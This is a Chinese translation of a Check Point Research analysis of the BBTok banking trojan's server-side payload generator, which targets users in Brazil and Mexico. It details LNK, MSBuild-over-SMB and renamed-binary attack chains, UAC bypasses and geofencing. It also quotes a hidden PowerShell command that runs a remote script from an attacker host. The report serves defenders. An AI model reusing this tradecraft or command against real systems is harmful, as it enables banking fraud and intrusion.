Check Point Research研究人员最近在拉丁美洲发现了一个活跃活动,该活动正在操作和部署BBTok银行软件的新变体。在这项研究中,我们会介绍新发现的攻击链,这些攻击链使用了一种独特的 Living off the land Binaries组合,所以,尽管BBTok银行软件至少从2020年开始活跃,但时至今日,被检测到的概率还是很低。在分析该活动时,研究人员发现了一些攻击者在攻击中使用的服务器端资源,目标是巴西和墨西哥的数百名用户。
服务器端组件负责提供可能通过网络钓鱼链接传播的恶意有效负载。我们已经观察到相同的服务器端脚本和配置文件的多次迭代,这些脚本和配置文件展示了BBTok银行软件部署方法随着时间的推移而演变的过程。这我们得以一窥攻击者尚未实现的攻击媒介,并追踪用于维持此类操作的源代码的起源。
我们将在本文重点介绍用于传播银行软件的有效负载服务器的一些服务器端功能,它们可以为每个受害者产生独特的有效负载。
发现过程
BBTok异常活跃,针对巴西和墨西哥的用户,采用多层地理围栏来确保受攻击的设备仅来自这些国家。
自2020年BBTok最后一次公开报道以来,运营商的技术、战术和程序(TTPs)发生了重大变化,增加了额外的混淆层和下载器,从而使检测率降到最低。
BBTok银行有一个专门的功能,可以复制40多家墨西哥和巴西银行的界面,并欺骗受害者将其双重身份验证代码输入他们的银行账户或输入他们的支付卡号。
新识别的有效负载是由自定义服务器端应用程序生成的,该应用程序负责根据操作系统和位置为每个受害者生成唯一的有效负载。
对有效负载服务器端代码的分析显示,攻击者正在积极维护不同版本Windows的多样化攻击链,这些链使用各种各样的文件类型,包括ISO, ZIP, LNK, DOCX, JS和XLL。
攻击者在他们的武器库中添加开源代码、来自黑客论坛的代码和新的漏洞(例如Follina)。
BBTok银行软件历史
BBTok银行软件于2020年首次被披露,通过无文件攻击部署在拉丁美洲。其功能非常齐全,包括枚举和终止进程、键盘和鼠标控制以及操作剪贴板内容。除此之外,BBTok还包含经典的银行木马功能,模拟在墨西哥和巴西运营的各种银行的虚假登录页面。
自从首次被公开披露以来,BBTok运营商已经采用了新的https,同时仍然主要利用带有附件的网络钓鱼电子邮件进行初始攻击。最近,我们看到了银行软件通过网络钓鱼链接传播的迹象,而不是作为电子邮件本身的附件。
在访问恶意链接时,会将ISO或ZIP文件下载到受害者的计算机上,这些文件包含一个启动攻击链的LNK文件,在打开一个诱饵文件的同时,导致银行软件的部署。虽然乍一看,这个过程似乎很简单,但幕后操作非常复杂。
在分析这些新发现的链接时,研究人员发现了用于传播恶意软件的内部服务器端资源。很明显,攻击者保持了广泛的攻击链,每次点击都根据需要生成,并根据受害者的操作系统和位置进行定制。
BBTok银行攻击
BBTok为其运营商提供了广泛的功能,从远程命令到经典的银行木马功能,BBTok可以复制多家拉美银行的界面。其代码引用了墨西哥和巴西的40多家主要银行,如花旗银行、丰业银行、Banco Itaú和汇丰银行。银行软件通过遍历打开的窗口和浏览器选项卡的名称,搜索银行名称,来寻找受害者是这些银行客户的迹象。
其默认目标显然是西班牙对外银行(BBVA),其默认的虚假界面旨在复制其外观。这些虚假的界面冒充合法机构,诱使毫无戒心的用户泄露个人和财务信息,该功能的重点是诱骗受害者输入作为银行账户密码,并接管受害者的银行账户。
嵌入BBTok 银行软件中的虚假接口示例
BBTok是用Delphi编写的,它使用可视化组件库(VCL)来创建表单,毫不夸张地说,这些表单形成了这些虚假的界面,这使得攻击者可以动态、自然地生成适合受害者电脑屏幕的界面和受害者银行的特定形式而不会引起怀疑。作为银行软件的默认目标银行,西班牙对外银行(BBVA)将其接口存储在一个名为“TFRMBG”的表单中,除了银行网站,攻击者也开始在受攻击的设备上搜索有关比特币的信息,积极寻找”bitcoin”, ”Electrum”和”binance”等字符串。
除此之外,BBTok还可以安装恶意浏览器扩展或注入名为“rpp.dll”的DLL来进一步控制受攻击的系统,并可能提高其欺骗受害者的能力。
值得注意的是,该攻击者采取了谨慎的方式 所有的银行活动都是在其C2服务器的直接命令下执行的,而不是在每个受攻击的系统上自动执行。
负载服务器分析
为了有效管理他们的活动,BBTok运营商创建了一个独特的流程,由受害者点击恶意链接启动,该链接可能是通过钓鱼电子邮件发送的。当受害者点击链接时,会根据受害者的操作系统下载ZIP文件或ISO映像。这个过程对受害者来说是无感的,但服务器会根据请求中找到的参数生成唯一的有效负载。
BBTok攻击中使用的服务器端组件
此过程在基于xampp的服务器上执行,包含三个基本组件:
一个PowerShell脚本,用于处理有效负载准备,并包含创建lure文档的主要逻辑;
一个PHP代码库和数据库,用于记录和管理攻击;
增强这些组件功能的辅助实用程序。
具体流程如下:
受害者向/baxar、/descargar或/descarga执行HTTP请求(这些路径表明诱饵是西班牙语或葡萄牙语);
基于.htaccess文件,服务器使用descarga.php处理请求;
脚本利用文件db.php通过SQLite数据库存储有关请求的信息,包括受害者的信息;
Desarga.php调用ps_gen.ps1来生成一个自定义文档,该文档最终会传递给受害者。
传入请求处理
PHP代码库由以下文件组成:
1.descarga/descargar.php:管理新的连接并向受害者的电脑提供引诱文档。
2.db.php:生成并管理包含受害者详细信息的SQLite数据库。
3.generator.php:用于生成随机链接、字符串和其他功能的实用程序类。
4.“Descarga”和“descargar”在西班牙语中翻译为“download”。此文件包含感染过程的主要逻辑。脚本本身包含许多评论,其中一些是纯西班牙语和葡萄牙语,这些评论暗示了攻击者的来源。
脚本逻辑:
1.它根据ip-api.com检查链接引用的受害者的地理位置,并将其存储在文件中。如果受害者不是来自目标国家(例如,墨西哥或巴西),则HTTP连接立即以404消息结束。
2.如果受害者通过了检查,则脚本解析用户代理以获取受害者的Windows操作系统版本。
3.然后,它将带有受害者的国家/地区代码和引诱文件名的用户代理传递到PowerShell有效负载生成器脚本。
PowerShell负载生成器
脚本ps_gen.ps1包含用于生成ZIP或ISO文件形式的文档有效负载的主要逻辑。最新版本的代码有很多失效的部分,这部分在过去可能是有效的,这表明它们包含额外的感染链和诱饵,我们发现了该文件的多个版本,其中一些可以追溯到2022年7月,这表明该活动已经进行了很长一段时间。
生成器脚本由descarga.php调用,使用带有参数file_name、ver和cc的函数DownloadFile,这些对应于生成的文档名称、受害者的操作系统版本和受害者的国家代码。
在观察到的服务器迭代中使用的代码部分基于两个参数生成文档有效负载:
受害者的国度:巴西或墨西哥;
从User-Agent中提取的操作系统:Windows 10或7;
根据结果,选择恶意文档的以下参数:
文件类型:Windows 10为ISO, Windows 7为ZIP;
下一阶段使用的DLL文件的名称根据目标国家的不同而变化:Trammy用于巴西,Gammy用于墨西哥。
该文档包含一个链接:Windows 10中的LNK快捷图标是Microsoft Edge使用的快捷图标,Windows 7中的LNK快捷图标是Google Chrome使用的快捷图标。
最后的执行逻辑:对于Windows 10受害者,该脚本使用来自服务器216[.]250[.]251[.]196的名为dat.xml的文件执行 MSBuild.exe,该文件还存储下一阶段的恶意DLL。对于Windows7,负载只是通过CMD执行下载相关的远程DLL。
添加位置混淆
所有有效载荷都使用Add-PoshObfusion函数进行模糊处理。对部分代码的简单搜索会从“良性”网站hackforums[.]net中得到一个结果,特别是2021年8月一位名为“Qismon”的用户的回复,其还推荐了一些绕过AMSI和安全产品的方法,并分享PoshObfusion代码:
在hackforums[.]net中共享的Add-PoshObfuscation()代码
攻击链和最终有效负载
上面描述的过程最终导致了两个攻击链的变体:一个针对Windows 7,一个针对Windows 10。两个版本之间的差异可以解释为试图避免新实现的检测机制,如AMSI。
*ammy.dll下载程序
两个感染链都使用使用类似约定命名的恶意DLL——Trammy、Gammy、Brammy或Kammy。后者是BBTok加载程序的精简和混淆版本,在执行任何恶意操作之前使用地理围栏来阻止检测。最后的有效负载是一个新版本的BBTok银行程序。如上所述,BBTok附带了多个额外的密码保护软件。这些漏洞允许攻击者完全访问受攻击的设备和其他功能。
Windows 7攻击链
Windows 7攻击链
Windows 7的攻击链不是唯一的,它由存储在ZIP文件中的LNK文件组成。在执行LNK文件时,使用rundll32.exe运行* my.dll负载,rundll32.exe依次下载、提取和运行BBTok负载。
Windows 10攻击链
Windows 10攻击链
Windows 10的攻击链存储在一个包含3个组件的ISO文件中:一个LNK文件,一个lure文件和一个重命名的cmd.exe可执行文件。点击LNK文件启动攻击链,使用重命名的cmd.exe以以下方式运行所有命令:
攻击链
将lure文件复制到文件夹%userprofile%并打开它。
在BBTok攻击中释放的Lure文件
运行MSBuild.exe,使用存储在远程服务器上的XML(通过SMB获取)构建应用程序。
MSBuild.exe创建一个随机命名的DLL,它反过来从服务器下载* my. DLL,并以重命名的rundll32.exe(mmd.exe)运行它,如XML内容所示:
dll下载程序下载、提取并运行BBTok负载
重命名CMD、MSBuild和通过SMB获取文件的独特组合导致Windows 10攻击链很少被检测到。
早期版本
在对BBTok活动的分析中,研究人员遇到了来自有效负载服务器的多个版本的工件。我们看到PHP代码、PowerShell脚本和其他实用程序都发生了变化。
PHP代码的变化
查看descarga.php脚本的早期版本,我们看到了一些关键的差异:
最初,只有来自墨西哥的受害者会成为攻击目标。另一个有效负载服务器176[.]31[.]159[.]196的IP在脚本中进行了硬编码。
这里没有直接执行PowerShell脚本,而是调用了一个名为gen.php的脚本。虽然研究人员无法获得这个脚本,但相信它只是执行了PowerShell脚本。
使用db.php文件将受害者的IP地址、用户代理和标志(jaBaixou,即葡萄牙语中的“已下载”)插入数据库中。稍后检查该标志,以确保不会提供相同的有效负载。
由于最新版本中未使用此部分,攻击者可能发现此过程繁琐,并决定用OPSEC来换取更容易的管理和更高的攻击成功几率。
PowerShell脚本修改说明
查看PowerShell脚本的旧版本,可以清楚地看到对负载和执行链进行了大量更改。在最早版本的脚本中,LNK只是运行一个PowerShell脚本,其参数为-ExecutionPolicy Unrestricted-W hidden-File\\%PARAM%[.]supplier[.]serveftp[.]net\files\asd.ps1。
后来的更新添加了lure PDF,fac.PDF(“fac”是“factura”的缩写,在葡萄牙语中是“发票”)。这是来自墨西哥科利马县的合法西班牙语收据。此外,Windows7受害者的有效负载启动了一个合法的墨西哥政府网站hxxps://failover[.]www[.]gob[.]mx/matenimiento.html。
研究人员发现的最新版本打开了一个不同的合法网站hxxps://fazenda[.]gov[.]br,巴西政府网站。此版本还更改了MSBuild使用的XML文件,并将为巴西目标保留的DLL名称从Brammy.DLL更改为Trammy.DLL。
未使用的代码和感染媒介
PowerShell脚本中的某些代码部分未使用,服务器托管的文件不属于我们讨论的主要感染流。特别是,研究人员没有发现任何积极使用以下内容的迹象:
ze.docx是一份利用Follina CVE(2022-30190)的文档。PowerShell脚本中名为CreateDoc的函数中引用了它。
CreateXLL引用的xll.xll是从开源项目中获取的恶意xllhttps://github.com/moohax/xllpoc,通过Excel实现代码执行。在服务器上发现了许多空的JavaScript文件,这些文件很可能被名为CreateJS的函数使用。函数b.js中引用的文件是空的,因此不清楚该函数以前是使用过还是从未完全实现过。
服务器上有多个bat文件,每个文件都有不同的下载下一阶段的实现。这些很可能是由名为CreateBat的函数创建的,该函数在最新版本的PowerShell脚本中被取消掉了。它们中的大多数几乎与我们之前分析的ByFD函数中的代码相同,不包括过去两次值得注意的迭代:
最旧的bat文件下载了另一个PowerShell脚本作为下一阶段(该脚本不再公开),而不是编辑注册表;
稍后的bat文件使用了fodhelper UAC绕过,而不是当前正在使用的computerdefaults绕过。
受害者分析
研究人员对服务器端组件的分析也揭示了最近的一个活动,,从攻击者的角度来看,这是基于他们发现的一个数据库,该数据库记录了对恶意应用程序的访问。该数据库名为links.sqlite,非常简单。它包含150多个条目,所有条目都是唯一的,表头与db.php创建的条目相对应。
chave或 key;
assunto或subject;
user_agent ;
baixou或downloaded。
名为chave的列包含受害者的IP地址,而assunto列为空:
Links.sqlite数据库
攻击区域
由于除了攻击者之外,任何人都不会看到服务器代码,并且其中包含大量葡萄牙语评论,我们认为这表明攻击者很可能是巴西人,巴西人以其活跃的银行恶意软件生态系统而闻名。
总结
尽管BBTok目前仅在巴西墨西哥活动,但很明显,它仍在积极开发中。由于其众多功能,以及涉及LNK文件、SMB和MSBuild的独特而创造性的传播方法,它仍然对该地区的组织和个人构成威胁。
文章翻译自:https://research.checkpoint.com/2023/behind-the-scenes-of-bbtok-analyzing-a-bankers-server-side-components/如若转载,请注明原文地址